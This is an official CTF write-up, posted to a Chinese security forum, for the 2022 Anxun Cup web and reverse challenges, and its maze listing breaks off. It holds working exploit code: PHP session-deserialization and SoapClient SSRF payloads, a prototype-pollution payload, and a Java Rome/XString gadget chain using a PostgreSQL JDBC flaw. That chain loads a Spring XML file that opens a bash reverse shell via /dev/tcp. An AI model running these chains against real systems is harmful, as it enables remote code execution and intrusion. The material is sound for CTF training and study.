首页
论坛
课程
招聘
[分享]2022第五届“安洵杯”网络安全挑战赛官方WP
2022-12-1 10:09 8534

[分享]2022第五届“安洵杯”网络安全挑战赛官方WP

2022-12-1 10:09
8534

2022安洵杯web

ezupload

赶着出题,环境没搞好,被非预期了hhhh

 

看了下wp基本上都是用16进制绕过关键字来读的flag

 

先phpinfo()看下信息,发现过滤了很多函数,然后file_get_contents没过滤

 

然后上传又显示过滤了,应该是关键字过滤,我们用16进制绕过

 

尝试读下/etc/passwdimage 20221129134402131

 

然后读/flag没东西

 

使用 DirectoryIterator 类来寻找 flag

 

image 20221129134344773

 

*被过滤了直接16进制搞

 

得到flag文件名,直接读

 

image 20221129134325814

babyphp

分析下源码,不难看出这题与session反序列化有关。另外在flag.php里对访问ip进行了限制,再将$f1ag写进$_SESSION["F1AG"]。因此可以分析出此题还需要需要利用原生类SoapClient进行ssrfDirectoryIterator,SplFileObject读取文件名及文件内容。

 

首先,在此处可以控制php.ini的设置,而一般默认的session处理器为php

 

image-20221119143152421

 

因此我们可以将session的处理器设置成为php_serialize,利用session的处理器解析bug来注入任意的session数据 。传送门

1
2
GET:
?baby=session.serialize_handler&d0g3=php_serialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
/*读文件名*/
$target = "http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*";
/*读文件内容*/
//$target = "http://127.0.0.1/flag.php?a=SplFileObject&b=php://filter/convert.base64-encode/resource=/f1111llllllaagg";
 
$attack = new SoapClient(null,array(
    'location'=>$target,
    'uri'=>'http://127.0.0.1',
    'user_agent'=>"test\r\nCookie: PHPSESSID=vidkft3g6sgv3vbbbd5qu9aitk"));
$payload = urlencode(serialize($attack));
echo '|'.$payload;
//POST:
//sess=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A58%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DDirectoryIterator%26b%3Dglob%3A%2F%2F%2Ff%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A50%3A%22test%0D%0ACookie%3A+PHPSESSID%3Du1um0t3pnp8sg1sc8d25ueidpp%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

可以看到已经解析成功了

 

image-20221128094626555

 

虽然写进了soapClient,但是要进行ssrf的话需要触发soapClient__call方法。在index.php中的C#uwant中有调用了call_user_func方法,可以用来触发__call,

1
call_user_func(array(reset($_SESSION), $this->a));

因此接下来只要构造出pop链就可以getflag了,需要注意的是其中需要绕过md5__wakeup,php版本为7.4。传送门2

1
2
利用链:
B#__destruct -> C#__tostring -> A#__invoke -> C#__uwant
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class A
{
    public $a;
    public $b;
    public function __construct()
    {
        $this->a = "0e215962017";
    }
}
class B
{
    public $a;
    public $b;
    public $k;
    public function __construct()
    {
        $this->a = "1";
        $this->b = &$this->a;
    }
}
class C
{
    public $a;
    public $c;
    public function __construct()
    {
        $this->a = "phpinfo";
    }
}
$a = new B;
$a->k = new C();
$a->k->c = new A();
$a->k->c->b = new C();
 
echo serialize($a);
 
//phpinfo: O:1:"B":3:{s:1:"a";s:1:"1";s:1:"b";R:2;s:1:"k";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;};}}}
//payload: O:1:"B":3:{s:1:"a";s:1:"1";s:1:"b";R:2;s:1:"k";O:1:"C":2:{s:1:"a";s:3:"aaa";s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:3:"aaa";s:1:"c";N;};}}}

最后用返回的的PHPSESSID,访问index.php就可以得到$_SESSION[flag](读flag步骤一样,这里就只贴读文件的图了)

 

image-20221128094825409

 

EZ_JS

1
2
3
4
<!--This secret is 7 characters long for security!
hash=md5(secret+"flag");//1946714cfa9deb70cc40bab32872f98a
admin cookie is   md5(secret+urldecode("flag%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%00%00%00%00%00%00%00dog"));
-->

查看源码,我们可以看到提示。是对MD5长度攻击的考察,本题密钥长度为7,添加前数据为flag,数据末尾段为dog.我们利用hashump,获得cookie.

 

 

 

上传后发现路由cookie

 

 

在源代码中发现提示,一个jsfuck,输入控制台可以看到提示

 

 

我们返回登录,输入Admin或者利用js字符特性输入admın来绕过大写检测。

 

 

获取到源代码页面路径/infoflllllag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var express = require('express');
var router = express.Router();
 
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
 
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
 
const clone = (a) => {
  return merge({}, a);
}
 
router.get('/', function(req, res, next) {
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});
 
router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});
module.exports = router;

使用原型链污染req的父类来通过

1
2
3
4
5
6
f(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});
1
id={"__proto__":{"flag":"flag"}}

post方法传入id。然后刷新界面,即可获取到flag

ezjaba

这道题的考点其实不多的。

 

一共就只有两个知识点

 

1.在rome中调用toString的地方被过滤完之后寻找新的调用链

 

2.如何在mysql链接被过滤的情况下还有没有别的数据库驱动能造成攻击。

预期

查看IndexController可以发现反序列化执行的地方

 

zUzrsx.png

 

查看依赖可以发现rome依赖,所以这里可以使用rome反序列化。

 

zUzcdO.png

 

在SecurityObjectInpitStream中做出了过滤

 

zUzRFe.png

 

过滤BadAttributeValueExpException,ObjectBean,EqualsBean来禁止调用toString,过滤后面的,是为了防止直接命令执行。

 

在rome反序列化中最后是能调用getter方法

 

查看Connection中的Database类,可以看到有个getConnection方法能造成数据库连接。

 

zUz4SA.png

 

但是使用JdbcUtils.filterJdbcUrl(url)过滤了url

 

zUzoOP.png

 

可以看到对mysql连接和jdbc任意文件读取和jdbc反序列化做出了过滤。但是这里因为自己的原因过滤出错了,没有过滤到allowUrlInLocalInfile,所以导致使用了mysql任意文件读取。还是自己太菜了,没有检查这里。

 

那么攻击思路就很清楚了,主要就是绕过两个过滤:

 

1.绕过第一个过滤寻找新的能触发toString的地方调用ToStringBean的toString。

 

2.绕过对mysql反序列化的过滤寻找新的攻击点。

 

首先说第一个,这里在出题前的时候,是看到了dubbo中CVE-2021-25641中使用了XString能调用任意类的tostring方法:

 

Java安全-Dubbo - 先知社区 (aliyun.com)

 

所以这里可以使用XString来绕过过滤。

 

当然在后面搜索的时候,也看到了春秋伽玛中的文章:http://mp.weixin.qq.com/s?__biz=MzkyNDA5NjgyMg==&mid=2247494493&idx=1&sn=b98e32815d38b7bf4f0cbb770d7b9236&chksm=c1d9ab04f6ae221292193778fc4f129a55731d19b0d930c46d41164b4b2c07d12cdc7b20ddd4&mpshare=1&scene=23&srcid=1128NIEHJiciNxP3ehdTe6s3&sharer_sharetime=1669609473167&sharer_shareid=82d64b8ea34f0b048764ed9658399cf4#rd

 

使用tabby搜索得到

 

第二个因为在出题时添加了postgresql的依赖

 

这里本来是想使用PostgreSQL来替代mysql的攻击

 

zUzOYQ.png

 

使用CVE-2022-21724

 

https://blog.csdn.net/mole_exp/article/details/124243446

 

最后exp,因为我比较懒,也因为这里有springboot环境,我是直接修改了CVE-2021-25641。

 

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.example.ezjaba.Connection.Data;
import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
 
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
import java.util.HashMap;
 
import static ysoserial.payloads.util.Reflections.createWithoutConstructor;
import static ysoserial.payloads.util.Reflections.setFieldValue;
 
public class main {
 
    public static void main(String[] args) throws Exception{
        Database bean1 = createWithoutConstructor(Database.class);
        setFieldValue(bean1,"database","postgresql");
        setFieldValue(bean1,"host","127.0.0.1");
        setFieldValue(bean1,"username","root");
        setFieldValue(bean1,"password","root&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1/payload.xml");
        ToStringBean bean = new ToStringBean(Data.class,bean1);
        HashMap gadgetChain = Utils.makeXStringToStringTrigger(bean);
        /*
        XString x = new XString("HEYO");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("aa",bean);
        map1.put("bB",x);
        map2.put("aa",x);
        map2.put("bB",bean);
        HashMap gadgetChain = new HashMap();
        map.put(map1,"");
        map.put(map2,"");
        */
 
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeUTF("axb");
        oos.writeInt(2022);
        oos.writeObject(gadgetChain);
        oos.close();
        //反序列
        String a = Base64.getEncoder().encodeToString(baos.toByteArray());
        System.out.println(a);
    }
 
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.springframework.aop.target.HotSwappableTargetSource;
import sun.reflect.ReflectionFactory;
 
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
 
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
 
/*
 * Utility class - based on code found in ysoserial, includes method calls used in
 * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were
 * consolidated into a single util class for the sake of brevity; they are otherwise unchanged.
 *
 * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger
 * to create a toString trigger
 *
 * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial
 * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec
 */
public class Utils {
    static {
        // special case for using TemplatesImpl gadgets with a SecurityManager enabled
        System.setProperty(DESERIALIZE_TRANSLET, "true");
 
        // for RMI remote loading
        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
    }
 
    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
 
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {
 
        private static final long serialVersionUID = -5971610431559700674L;
 
 
        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
 
 
        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
 
    // required to make TemplatesImpl happy
    public static class Foo implements Serializable {
 
        private static final long serialVersionUID = 8207363842866235160L;
    }
 
    public static InvocationHandler createMemoizedInvocationHandler (final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }
 
    public static Object createTemplatesImpl ( final String command ) throws Exception {
        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
            return createTemplatesImpl(
                    command,
                    Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                    Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                    Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }
 
        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }
 
 
    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();
 
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);
 
        final byte[] classBytes = clazz.toBytecode();
 
        // inject class bytes into instance
        Utils.setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes, Utils.classAsBytes(Utils.Foo.class)
        });
 
        // required to make TemplatesImpl happy
        Utils.setFieldValue(templates, "_name", "Pwnr");
        Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }
 
    public static void setAccessible(AccessibleObject member) {
        // quiet runtime warnings from JDK9+
        Permit.setAccessible(member);
    }
 
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
 
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
 
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }
 
    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
 
    @SuppressWarnings ( {"unchecked"} )
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }
 
    public static String classAsFile(final Class<?> clazz) {
        return classAsFile(clazz, true);
    }
 
    public static String classAsFile(final Class<?> clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }
        if (suffix) {
            str += ".class";
        }
        return str;
    }
 
    public static byte[] classAsBytes(final Class<?> clazz) {
        try {
            final byte[] buffer = new byte[1024];
            final String file = classAsFile(clazz);
            final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            }
            final ByteArrayOutputStream out = new ByteArrayOutputStream();
            int len;
            while ((len = in.read(buffer)) != -1) {
                out.write(buffer, 0, len);
            }
            return out.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        Utils.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
 
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Utils.setFieldValue(s, "table", tbl);
        return s;
    }
 
    public static HashMap makeXStringToStringTrigger(Object o) throws Exception {
        XString x = new XString("HEYO");
        return Utils.makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x));
    }
}

payload.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="
 http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg >
        <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/127.0.0.1/2333 0&gt;&amp;1</value>
        </list>
        </constructor-arg>
    </bean>
</beans>

当然也可以使用我注释的那部分。这部分参考jdk 7u21 反序列化的代码。

 

但是那会因为提前触发链子,需要修改一下,这个可以参考p神的文章。为了筹备安洵杯事情太多了,就没去做这个。师傅们可以自行修改

 

运行获得base64编码的payload,这里需要注意的是要先url编码一次,不然会显示base解码错误。

 

最后发送,就可以反弹shell了

 

zUzvSs.png

非预期:

其实早在比赛开始的时候Firebasky学长就和我说过,题目有很多非预期。

 

赛后在比赛群中看到shanghe师傅的wp:https://mp.weixin.qq.com/s?__biz=Mzg3MTMyMzcxOA==&mid=2247484651&idx=1&sn=3e7cb88dbc0f30122a6171a1160bf8fb&chksm=ce8105c2f9f68cd40713148bd2a1778b665dee246d58068a9ea0c00a4113d59181a32a86e013&mpshare=1&scene=23&srcid=1128xcLW8Fkh0YNzCWABpcpt&sharer_sharetime=1669595730807&sharer_shareid=93d3023652ea1e4f581f6748f20cfe90#rd

 

zUzzyq.png

 

太菜了,orz

2022安洵杯Reverse

Re1

本题主要考点就是vm题型,以及windows服务进程。

 

ida反编译后,大概浏览整体流程,可以看出其是根据参数将自己注册成了一个windows服务进程,对于服务进程的分析,我们需要关注SERVICE_TABLE_ENTRYW结构体,其成员lpServiceProc实际上就是服务进程的main函数。

1
2
3
4
SERVICE_TABLE_ENTRYW ServiceStartTable;
 
ServiceStartTable.lpServiceName = (LPWSTR)L"SvcTest";
ServiceStartTable.lpServiceProc = (LPSERVICE_MAIN_FUNCTIONW)sub_4015C0;

安装和卸载服务,以管理员身份运行cmd。

1
2
Re1.exe install
Re1.exe uninstall

然后大致看一下sub_4015C0,其使用了参数来获取flag,并且可以使用debugview来查看一些输出消息,然后可以知道flag长度为12,后面就是vm的初始化,和运行和检测了。

 

这里需要解决两个问题

  • 服务进程如何传参
  • 服务进程如何调试

传参很简单,安装好服务后,打开服务管理,选择那一个服务,填写好启动参数,然后启动即可。

 

对于vm题型,能调试当然最好,能够快速分析出一些计算的关键部分,并且我也没有加混淆,如果加了混淆,可能静态分析就更难了,调试可以参考《逆向工程核心原理》书中的方法,并且也介绍了一些关于服务进程的知识点,大概原理就是在启动服务前,将服务exe的EP处修改为循环,然后附加调试服务进程,修改回来,就可以调试到服务进程的main函数中了。

 

vm题型的解法就不多叙述,能还原出vm结构体是最好,找到opcode,理解每个处理函数的意义,占几个字节,然后自己打印出相应汇编,慢慢分析即可。

 

分析后会发现大概是这样的加密流程,其实就是异或,位运算,数组循环异或,中间有些加减。

1
2
3
4
5
6
7
8
9
10
11
12
13
flag=[]
table1=[0xa4,0x70,0x4f,0xd3,0x5f,0x03,0x08,0x28,0x7f,0x29,0x37,0xba##a4704fd35f0308287f2937ba3eccf5fe
table2=[0x05,0x97,0x79,0x47,0x92,0x4a,0xbd,0x39,0x29,0x3b,0xc1,0xd1#05977947924abd39293bc1d1c234d81d
key=b'abcdefghijkl'
 
for i in range(12):
    flag[i]=((flag[i]>>6) | (flag[i]<<2))&0xff
    print(chr(flag[i]^key[i]),end='')
 
for i in range(12):
    flag[i]=flag[i]^((flag[(i+1)%12]+0x64))
    flag[i]-=0x33
    flag[i]=flag[i]&0xff

找到最后密文反解即可,也得的汇编指令后,修改下,用z3来解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
flag=[0xa7 ,0x3a ,0x19 ,0xb4 ,0xf1 ,0x49 ,0x2b ,0xcb ,0xea ,0xe ,0xe ,0x14]
table1=[0xa4,0x70,0x4f,0xd3,0x5f,0x03,0x08,0x28,0x7f,0x29,0x37,0xba##a4704fd35f0308287f2937ba3eccf5fe
table2=[0x05,0x97,0x79,0x47,0x92,0x4a,0xbd,0x39,0x29,0x3b,0xc1,0xd1#05977947924abd39293bc1d1c234d81d
key=b'abcdefghijkl'
 
# for i in range(12):
#     flag[i]=flag[i]^((flag[(i+1)%12]+0x64))
#     flag[i]-=0x33
#     flag[i]=flag[i]&0xff
 
for i in range(11,-1,-1):
    flag[i]+=table2[i]
    flag[i]=flag[i]^((flag[(i+1)%12]+table1[i]))
    flag[i]=flag[i]&0xff
 
for i in range(12):
    flag[i]=((flag[i]<<6) | (flag[i]>>2))&0xff
    print(chr(flag[i]^key[i]),end='')
#Ju$t_e@sy_vM

Re2

本题主要考点就是

  • tls回调函数,内含一个反调试,修改了迷宫的一些地方。
  • windows自带的键盘hook函数,钩取了wasd几个键来走迷宫。

  • IAT Hook,修改了IsDebuggerPresent函数的返回值,一直变为true,所以if内的语句都会调用,修改了迷宫的结尾处。

  • minihook,一个比较好用的hook工具,我用其钩取了Sleep函数,将走迷宫的方式修改为了斜着走。
  • 仿照pwn中rop gadget截断了rc4_init函数最后的执行流程,让其f5看不出来,但是还是能通过交叉引用其他函数来定位到关键函数,或许应该添加大量的函数来简单混淆一下。

所以dump出最后的迷宫,写一个dfs脚本即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include<stdio.h>
#include<stdlib.h>
 
char  map[40][40] = {
{0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
{1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, },
